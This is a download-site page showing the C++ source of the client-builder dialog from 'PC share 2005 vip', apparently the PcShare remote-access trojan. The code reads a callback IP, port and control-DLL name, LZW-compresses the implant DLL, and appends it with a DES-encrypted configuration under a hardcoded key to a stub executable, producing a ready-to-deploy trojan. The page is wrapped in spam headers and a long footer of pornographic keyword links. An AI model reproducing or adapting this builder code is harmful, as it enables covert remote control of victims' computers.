亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? mycreateclientdlg.cpp

?? PC share 2005 vip源代碼
?? CPP
字號:
// MyCreateClientDlg.cpp : implementation file
//

#include "stdafx.h"
#include "PcShare.h"
#include "Lzw.h"
#include ".\mycreateclientdlg.h"
#include "WjcDes.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

extern GOLBALVALUE m_MainValue ;

/////////////////////////////////////////////////////////////////////////////
// CMyCreateClientDlg dialog

CMyCreateClientDlg::CMyCreateClientDlg()
: CDialog(CMyCreateClientDlg::IDD, NULL)
{
	//{{AFX_DATA_INIT(CMyCreateClientDlg)
	m_Port = _T("");
	m_BakUrl = _T("");
	m_CtrlFile = _T("");
	m_Proc = 0;
	//}}AFX_DATA_INIT
	m_IsVip = FALSE;
}

void CMyCreateClientDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CMyCreateClientDlg)
	DDX_Control(pDX, IDC_COMBO_IPLIST, m_IpList);
	DDX_Text(pDX, IDC_EDIT_PORT, m_Port);
	DDV_MaxChars(pDX, m_Port, 5);
	DDX_Text(pDX, IDC_EDIT_BAK_URL, m_BakUrl);
	DDV_MaxChars(pDX, m_BakUrl, 128);
	DDX_Text(pDX, IDC_EDIT_CONTROL_DLL, m_CtrlFile);
	DDV_MaxChars(pDX, m_CtrlFile, 250);
	DDX_Radio(pDX, IDC_RADIO_VIP, m_IsVip);
	DDX_CBIndex(pDX, IDC_COMBO_PROC, m_Proc);
	//}}AFX_DATA_MAP
}

BEGIN_MESSAGE_MAP(CMyCreateClientDlg, CDialog)
	//{{AFX_MSG_MAP(CMyCreateClientDlg)
	ON_BN_CLICKED(IDC_BUTTON_CREATE, OnButtonCreate)
	ON_BN_CLICKED(IDC_RADIO_VIP, OnBnClickedRadioVip)
	ON_BN_CLICKED(IDC_RADIO_NOVIP, OnBnClickedRadioNovip)
	//}}AFX_MSG_MAP
	
	
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CMyCreateClientDlg message handlers

BOOL CMyCreateClientDlg::OnInitDialog() 
{
	CDialog::OnInitDialog();

	char m_IniFileName[256] = {0};
	GetIniFileName(m_IniFileName);

	char m_sMainPort[20] = {0};
	GetPrivateProfileString("設置","自動上線連接端口",
		"80",m_sMainPort,10,m_IniFileName);
	m_Port = m_sMainPort;

	char m_sCtrlName[256] = {0};
	GetPrivateProfileString("設置","控制DLL文件",
		"PcCortr.dll",m_sCtrlName,255,m_IniFileName);
	m_CtrlFile = m_sCtrlName;

	char m_sBakUrlName[256] = {0};
	GetPrivateProfileString("設置","備份URL名稱",
		"",m_sBakUrlName,255,m_IniFileName);
	m_BakUrl = m_sBakUrlName;


	GetDlgItem(IDC_COMBO_IPLIST)->EnableWindow(TRUE);
	GetDlgItem(IDC_EDIT_PORT)->EnableWindow(TRUE);
	GetDlgItem(IDC_EDIT_BAK_URL)->EnableWindow(FALSE);
	
	UpdateData(FALSE);

	//取IP地址信息
	PHOSTENT hostinfo;
	char name[512] = {0};
	if(gethostname (name,sizeof(name)) != 0 ||
		(hostinfo = gethostbyname(name)) == NULL)
		return TRUE;
	
	struct sockaddr_in dest;
	for(int i=0; hostinfo->h_addr_list[i] != NULL ;i++)
	{
		memcpy(&(dest.sin_addr), 
			hostinfo->h_addr_list[i],
			hostinfo->h_length);
		m_IpList.AddString(inet_ntoa(dest.sin_addr));
	}
	m_IpList.SetCurSel(0);
	return TRUE;  
}

void CMyCreateClientDlg::OnButtonCreate() 
{
	char m_IniFileName[256] = {0};
	GetIniFileName(m_IniFileName);
	WritePrivateProfileString("設置","控制DLL文件",
		m_CtrlFile,m_IniFileName);
	if(!m_BakUrl.IsEmpty())
		WritePrivateProfileString("設置","備份URL名稱",
			m_BakUrl,m_IniFileName);

	//取目標文件名稱
	CString szFilter = "可執行文件(*.exe)|*.exe|";
	CFileDialog m_filedialog(FALSE,NULL,"Ps.exe",
		OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,szFilter,this);
	if(m_filedialog.DoModal() != IDOK) return;
	m_StartFile = m_filedialog.GetFileName();

	//取EXE文件和DLL文件名稱
	char m_ExeFileName[512] = "PcStat.exe";
	GetMyFilePath(m_ExeFileName);
	char m_DllFileName[512] = "PcClient.dll";
	GetMyFilePath(m_DllFileName);
	BYTE* pExeFileData = NULL;
	BYTE* pDllFileData = NULL;
	DWORD m_ExeSize = 0;
	DWORD m_DllSize = 0;

	//取EXE文件數據
	CFile m_File;
	if(!m_File.Open(m_ExeFileName,CFile::modeRead))
	{
		MessageBox("缺少文件pcstat.exe","錯誤");
		return;
	}
	m_ExeSize = m_File.GetLength();
	pExeFileData = new BYTE[m_ExeSize];
	m_File.Read(pExeFileData,m_ExeSize);
	m_File.Close();

	//取DLL文件數據
	if(!m_File.Open(m_DllFileName,CFile::modeRead))
	{
		delete [] pExeFileData;
		MessageBox("缺少文件pcclient.dll","錯誤");
		return;
	}
	m_DllSize = m_File.GetLength();
	pDllFileData = new BYTE[m_DllSize];
	m_File.Read(pDllFileData,m_DllSize);
	m_File.Close();

	//壓縮數據
	BYTE* pDest = new BYTE[m_DllSize * 2];
	memset(pDest , 0 , m_DllSize * 2);

	BYTE* pSrc = pDllFileData;
	BYTE* pCurr = pDest;

	//寫頭
	::lstrcpyA ((char*)pDest, "SSH") ;
	pCurr += 8 ;
	* (WORD *) pCurr = 16 ;
	pCurr += 2 ;
	* (WORD *) pCurr = 0 ;
	pCurr += 2 ;
	* (DWORD *) pCurr = m_DllSize ;
	pCurr += 4 ;
	pCurr += 8 ;

	// 文件名
	* (WORD *) pCurr = ::lstrlen (m_StartFile) ;
	::lstrcpy ((char *) pCurr+2, m_StartFile) ;
	pCurr += * (WORD *) pCurr + 2 ;

	//壓縮
	DWORD dwCounter = ::GetTickCount () ;
	FCLzw fLzw ;
	pCurr += fLzw.LZW_Encode (pSrc, m_DllSize, pCurr) ;
	dwCounter = ::GetTickCount () - dwCounter ;
	* (DWORD *) &pDest[16] = dwCounter ;

	//啟動信息
	INITDLLINFO m_InitInfo = {0};

	m_IpList.GetWindowText(m_InitInfo.m_ServerAddr,50);
	strcpy(m_InitInfo.m_CtrlFile,m_CtrlFile);
	m_InitInfo.m_ProcessName[0] = m_Proc;

	strcpy(m_InitInfo.m_StartFile,m_StartFile);
	m_InitInfo.m_StartFile[m_StartFile.GetLength() - 4] = 0;
	strcpy(m_InitInfo.m_KeyName,m_InitInfo.m_StartFile);
	m_InitInfo.m_KeyName[m_StartFile.GetLength() - 1] = 0;
	strcat(m_InitInfo.m_StartFile, ".dll");
	m_InitInfo.m_ServerPort = (WORD) (atoi((LPCTSTR) m_Port));
	m_InitInfo.m_DllFileLen = pCurr - pDest;

	//DES加密信息
	INITDLLINFO m_InitFileInfo = {0};
	char m_DesKey[9] = "\x10\x20\x17\x10\x09\x55\x11\xeb";
	Des_Go((char*) &m_InitFileInfo, (char*) &m_InitInfo, 
		sizeof(INITDLLINFO), m_DesKey, 8, ENCRYPT);//加密

	//創建目標文件
	if(!m_File.Open(m_StartFile, CFile::modeCreate|CFile::modeWrite))
	{
		delete [] pExeFileData;
		delete [] pDllFileData;
		delete [] pDest;
		MessageBox("無法創建文件","錯誤");
		return;
	}
	m_File.Write(pExeFileData,m_ExeSize);
	m_File.Write(pDest,m_InitInfo.m_DllFileLen);
	m_File.Write(&m_InitFileInfo,sizeof(INITDLLINFO));
	m_File.Close();

	delete [] pExeFileData;
	delete [] pDllFileData;
	delete [] pDest;
}

void CMyCreateClientDlg::OnBnClickedRadioVip()
{
	GetDlgItem(IDC_COMBO_IPLIST)->EnableWindow(TRUE);
	GetDlgItem(IDC_EDIT_PORT)->EnableWindow(TRUE);
	GetDlgItem(IDC_EDIT_BAK_URL)->EnableWindow(FALSE);
}

void CMyCreateClientDlg::OnBnClickedRadioNovip()
{
	GetDlgItem(IDC_COMBO_IPLIST)->EnableWindow(FALSE);
	GetDlgItem(IDC_EDIT_PORT)->EnableWindow(FALSE);
	GetDlgItem(IDC_EDIT_BAK_URL)->EnableWindow(TRUE);
}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
91麻豆国产自产在线观看| 国产精品女主播在线观看| 午夜伦理一区二区| 欧美另类一区二区三区| 国产精品99久久久| 国产婷婷色一区二区三区在线| 久久99精品久久久| 久久影院电视剧免费观看| 国产xxx精品视频大全| 国产精品久久综合| 欧美性大战久久| 美腿丝袜亚洲综合| 国产亚洲精品7777| 在线观看精品一区| 久久激五月天综合精品| 欧美激情中文字幕| 精品视频一区二区三区免费| 免费亚洲电影在线| 欧美高清在线视频| 欧美性猛片aaaaaaa做受| 青青草伊人久久| 欧美国产日韩亚洲一区| 91官网在线观看| 精品亚洲成av人在线观看| 国产精品福利一区二区三区| 色婷婷久久久综合中文字幕| 久久超级碰视频| 日韩理论片网站| 欧美va亚洲va在线观看蝴蝶网| 成人丝袜18视频在线观看| 丝袜脚交一区二区| 国产精品视频第一区| 欧美人与禽zozo性伦| 国产成人av影院| 性欧美大战久久久久久久久| 国产日韩欧美一区二区三区综合| 欧美系列亚洲系列| 国产成人鲁色资源国产91色综 | 极品美女销魂一区二区三区| 亚洲欧洲日本在线| 精品国产乱码久久久久久1区2区| 色婷婷香蕉在线一区二区| 国产精品一区二区在线观看网站| 亚洲高清视频在线| 亚洲婷婷综合色高清在线| 精品欧美一区二区久久| 在线视频综合导航| 成人一区二区三区中文字幕| 久久精品999| 午夜精品福利在线| 亚洲免费看黄网站| 中文字幕第一区第二区| 日韩精品一区二区在线观看| 欧美日韩一区中文字幕| 91在线观看地址| 成人综合婷婷国产精品久久免费| 男人的天堂亚洲一区| 亚洲va韩国va欧美va| 亚洲免费观看高清完整版在线观看熊 | 国产女人18毛片水真多成人如厕 | 丝袜脚交一区二区| 亚洲激情图片一区| 亚洲欧洲精品天堂一级| 日本一区二区电影| 2020国产成人综合网| 日韩一区二区三区四区五区六区| 精品视频色一区| 欧美日韩精品系列| 在线精品视频一区二区| 色综合色综合色综合色综合色综合| 丁香亚洲综合激情啪啪综合| 国产福利精品一区二区| 国产一区二区三区高清播放| 精品一区二区三区影院在线午夜| 久久蜜臀中文字幕| 精品国偷自产国产一区| 精品国产免费久久| 亚洲精品在线网站| 精品99999| 久久久精品天堂| 欧美国产日韩在线观看| 亚洲一区二区视频在线| 亚洲日本丝袜连裤袜办公室| 亚洲欧美另类小说视频| 亚洲狠狠丁香婷婷综合久久久| 亚洲激情校园春色| 午夜精品在线看| 国内精品免费在线观看| 91啦中文在线观看| 高清成人在线观看| 97精品国产露脸对白| 欧美自拍丝袜亚洲| 欧美猛男男办公室激情| 欧美一区二区在线播放| 精品国产一区二区精华| 国产午夜亚洲精品理论片色戒| 日本一区二区三区国色天香| 精品一区二区三区免费| 亚洲欧美另类小说| 午夜精品在线看| 国产在线播放一区二区三区| aaa欧美日韩| 国产成人精品一区二区三区四区| 成人av午夜电影| 色噜噜狠狠色综合欧洲selulu| 欧美日本在线看| 日韩一区二区在线观看视频播放| 日韩欧美美女一区二区三区| 日韩精品一区二区三区四区| 国产喷白浆一区二区三区| 欧美激情艳妇裸体舞| 日韩美女精品在线| 日韩成人免费电影| 久久97超碰色| 成人av在线资源| 欧美日韩免费观看一区二区三区 | 欧美日韩精品一区二区三区蜜桃| 欧美日韩一区不卡| 日韩欧美一卡二卡| 精品国产一区二区精华| 亚洲一区二区三区自拍| 五月综合激情婷婷六月色窝| 久久精品国产成人一区二区三区| 成人高清视频在线| 日韩一二三四区| 亚洲免费高清视频在线| 麻豆精品一区二区综合av| 99久久久国产精品免费蜜臀| 欧美一区二区不卡视频| 中文av一区特黄| 天涯成人国产亚洲精品一区av| 精品一区二区在线免费观看| 美国十次综合导航| 在线观看一区二区精品视频| 亚洲精品一区二区三区在线观看| 亚洲欧洲色图综合| 美国一区二区三区在线播放| 欧洲亚洲精品在线| 亚洲国产精品激情在线观看| 免费高清在线一区| 色婷婷激情综合| 久久久久久亚洲综合影院红桃| 亚洲成a人v欧美综合天堂下载| 成人午夜激情在线| 久久久99久久精品欧美| 日本中文字幕一区二区有限公司| 色综合中文综合网| 欧美优质美女网站| 中文字幕中文在线不卡住| 精品中文av资源站在线观看| 一本一道波多野结衣一区二区| 国产亚洲综合色| 久久成人av少妇免费| 在线电影国产精品| 久久综合色天天久久综合图片| 蜜臀av性久久久久av蜜臀妖精| 欧美日韩国产美| 亚洲国产aⅴ成人精品无吗| 91丝袜美腿高跟国产极品老师| 国产偷v国产偷v亚洲高清| 精品一区二区av| 日韩欧美色综合| 久久精品理论片| 337p日本欧洲亚洲大胆色噜噜| 国内成人自拍视频| 日韩视频一区二区三区在线播放| 午夜精品久久久久| 欧美一区二区三区系列电影| 性做久久久久久| 91精品国产91综合久久蜜臀| 午夜久久久影院| 欧美精品久久一区| 天堂精品中文字幕在线| 69久久99精品久久久久婷婷 | 麻豆国产91在线播放| 91精品国产aⅴ一区二区| 久久99这里只有精品| 精品久久久久久无| 国产一区福利在线| 国产精品三级av在线播放| 福利电影一区二区三区| 国产精品天天看| 99精品视频一区二区| 亚洲日本青草视频在线怡红院| 91网站视频在线观看| 国产精品初高中害羞小美女文| 91在线观看地址| 亚洲国产cao| 精品乱码亚洲一区二区不卡| 粉嫩av亚洲一区二区图片| 亚洲色图制服丝袜| 欧美日韩国产首页在线观看| 日本成人在线不卡视频| 国产香蕉久久精品综合网| 色综合欧美在线视频区| 蜜臀99久久精品久久久久久软件| 国产日产欧美一区二区三区| 色成年激情久久综合| 蜜桃久久久久久| 国产精品久久久久婷婷二区次|